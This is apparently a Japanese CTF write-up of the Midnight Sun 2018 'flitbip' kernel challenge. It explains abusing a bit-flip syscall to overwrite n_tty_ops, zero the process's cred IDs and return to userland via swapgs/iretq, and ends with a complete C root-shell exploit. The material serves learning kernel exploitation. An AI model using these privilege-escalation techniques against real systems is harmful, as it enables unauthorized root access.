<Midnight Sun CTF 2018 Finals> flitbip

はじめに

ずっとカーネル問をやりたいと思っていたのですが、なかなかpwnの練習時間がとれず、標準的なユーザーランドの問題すらままならない状態だったので、手を出せていませんでした。


でも人間いつ死んでしまうか分からないので、カーネルpwnにも早めに手を出すことにしました。


ということで、カーネル問の中でもかなり簡単そうだったflitbipという問題を解いてみました。まだあまり理解できていないので記事にはしないつもりだったのですが、他にネタがないので書きます。


問題ファイルなど
github.com


flitbip

準備

問題を解いていくにあたって、①カーネルイメージの展開や、②ファイルシステムの展開・圧縮をするシェルスクリプトを用意しておくと便利です。実際に使ったスクリプトは、参考ページの1に載っているものを少し変えただけなので割愛します。


①の作業はgdbデバッグする時に行います。run.sh-sを追加することで、QEMUは1234番のポートにてgdbからの接続を待機するようになります。そして、gdbの方でカーネルイメージから展開されたvmlinuxを読み込み、target remote localhost:1234と打つと接続できます。


②の作業はデバッグのためにrootでログインする時などに行います。rootでログインするには、(当該環境がSysVinitを使っている場合)/etc/inittabなどを編集する必要があります。今回は/initsetuidgid 1000の部分を、setuidgid 0に書き換えます。


次に、セキュリティ機構をチェックします。run.shを見れば分かるようにkASLRSMEPSMAP及びKPTIは無効なので、これらを特に気にする必要はありません。*1


攻撃(メイン)

下のようにflitbipというシステムコールが追加されており、これに脆弱性があります。

// flitbip.c
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>
 
#define MAXFLIT 1
 
#ifndef __NR_FLITBIP
#define FLITBIP 333
#endif
 
long flit_count = 0;
EXPORT_SYMBOL(flit_count);
 
SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
{
        if (flit_count >= MAXFLIT)
        {
                printk(KERN_INFO "flitbip: sorry :/\n");
                return -EPERM;
        }
 
        *addr ^= (1ULL << (bit));
        flit_count++;
 
        return 0;
}


任意のアドレスのビットを反転させることができますが、18行目のチェックにより、この作業は一回までしか行えません。しかし、flit_countは符号付なので、その適当なビットを反転させて値をマイナスにすることができ、これによって回数制限を回避できます。


次に、flitbipの機能を利用してリターンアドレスを書き換えます。今回のようにAAWができるときには、n_tty_opsという関数テーブルを書き換えるといいらしいです。*2n_tty_opsは下のように定義されています。*3


https://elixir.bootlin.com/linux/v4.17/source/drivers/tty/n_tty.c#L2445

static struct tty_ldisc_ops n_tty_ops = {
	.magic           = TTY_LDISC_MAGIC,
	.name            = "n_tty",
	.open            = n_tty_open,
	.close           = n_tty_close,
	.flush_buffer    = n_tty_flush_buffer,
	.read            = n_tty_read,
	.write           = n_tty_write,
	.ioctl           = n_tty_ioctl,
	.set_termios     = n_tty_set_termios,
	.poll            = n_tty_poll,
	.receive_buf     = n_tty_receive_buf,
	.write_wakeup    = n_tty_write_wakeup,
	.receive_buf2	 = n_tty_receive_buf2,
};


今回は、n_tty_readのアドレスを、権限を昇格する関数のアドレスに書き換え、scanf()を呼ぶことでそちらに処理が移るようにしました。


それでは、権限を昇格する方法を考えます。他のWriteupを見るに、task_structの中にあるcredという構造体を書き換えるとよいみたいです。これらは下のように定義されています。


task_struct: https://elixir.bootlin.com/linux/v4.17/source/include/linux/sched.h#L592

struct task_struct {
	           // ...
	/* Effective (overridable) subjective task credentials (COW): */
	const struct cred __rcu		*cred;
	           // ...
}


cred: https://elixir.bootlin.com/linux/v4.17/source/include/linux/cred.h#L111

struct cred {
	atomic_t	usage;
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	           // ...
}


3~8行目の諸々のIDを0に書き換えると、rootをとることができます。


その時に実行しているプロセスのtask_structのアドレスは、current_taskというグローバル変数に格納されているらしいです。実際に確認してみます。


current_taskのアドレスは0xffffffff8182e040で、task_struct0xffff88000773a000にあります。


task_structの0x3c0上位のアドレスにcredがあります。

攻撃(その他)

こうして攻撃の方針は大体決まったわけですが、まだ問題が残っています。それは、flitbipシステムコールを利用してからプログラムはカーネルランドで動いているため、シェルを開く処理を実行できないという問題です。


ユーザーランドに戻るためには、sysretq命令やiretq命令を実行する必要があります。今回は後者を使いました。


iretqは、スタック上の値をRIPCSRFLAGSRSPSSに順にセットして元のプログラムに戻る命令です。詳しくは参考ページの7を参照してください。したがって、flitbipシステムコールを実行する前にこれらのレジスタの値を保存しておき、最後にそれらの値をスタック上にpushしていけば適当な状態でiretq命令を実行できます。


ただし、このままではカーネルのスタックをそのまま使い続けることになってしまうので、上の処理を行う前にRSPも適切な値にセットしてやる必要があります。そのためにはswapgs命令を先に実行する必要があるようです。正直これについてはよくわかりませんでしたが、カーネルモードのGSの値とユーザーモードGSの値を切り替える命令で、ユーザーのスタックポインタをロードできるようになるらしいです。


全体の流れをまとめると、下のようになります。


レジスタの値を保存 → flitbipの回数制限を解除 → n_tty_opsを書き換える → scanf()を呼ぶ → n_tty_opsを書き直す → credを書き換える → 最初に保存したレジスタの値をセットしてからiretq命令を実行 → シェルを開く


exploitはこんな感じ(参考ページの1, 3, 4を参考にしました)

// exploit.c
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
 
unsigned long user_cs, user_ss, user_rflags, user_sp;
 
void save_state(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}
 
long flitbip(long* addr, long bit)
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov rax, 333;"
        "syscall;"
        ".att_syntax;"
    );
}
 
void get_shell(void)
{
    puts("[*] Returned to userland");
    system("/bin/sh");
}
 
unsigned long* current_task = 0xffffffff8182e040;
unsigned long* n_tty_ops  = 0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
 
unsigned long user_rip = (unsigned long)get_shell;
 
void get_root(void)
{
    *(unsigned long*)(n_tty_ops+0x30) = (unsigned long)n_tty_read;
 
    int* cred = *(unsigned long*)(*current_task + 0x3c0);
    for (int i = 1; i < 7; i++)
        cred[i] = 0;
 
    __asm__(
        ".intel_syntax noprefix;"
        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
    );
}
 
unsigned long* flip_count = 0xffffffff818f4f78;
 
int main(void)
{
    save_state();
 
    flitbip(flip_count, 63);
    puts("[*] Overwrote flip_count");
 
    unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;
    for (unsigned long i = 0; i < 64; i++)
    {
        if (val & (1ULL << (i)))
            flitbip((char*)n_tty_ops + 0x30 , i);
    }
    puts("[*] Overwrote n_tty_ops");
 
    char buf[0x200];
 
    // trigger
    scanf("%c", buf);
    puts("[!] Should never be reached");
}

おわりに

この問題はカーネル問のなかではbaby問らしいのですが、普通に難しかったです。Cでエクスプロイトを書いたのは初めてで、結構人のコードに頼ってしまいましたが、いつかは自力で書ききれるようになりたいです。

参考ページ

1. https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/
基礎的なkernel exploitの流れが書いてあります。

2.https://github.com/smallkirby/kernelpwn
kernel問の様々な情報が載っています。本問はここから見つけました。

3.https://hama.hatenadiary.jp/entry/2018/12/19/233626
本問のWriteupです。

4.https://smallkirby.hatenablog.com/entry/2021/02/14/142626
本問のWriteupです。

5.https://www.linusakesson.net/programming/tty/
最初の方にN_TTYについての説明があります。

6.https://qiita.com/sxarp/items/aff43dd83b0da69b92ce
システムコールの前後の処理について参考にしました。

7.https://os.phil-opp.com/returning-from-exceptions/
iretq命令についての説明が載っています。

8.https://ja.wikipedia.org/wiki/X64
swapgs命令の部分を参考にしました。

*1:というかこれらの回避方法はまだよく分かっていないので説明できません

*2:N_TTYについては、参考ページの5を参照

*3:カーネルソースコードは問題環境と同じLinux 4.17.0のものを参照しています(以下同様)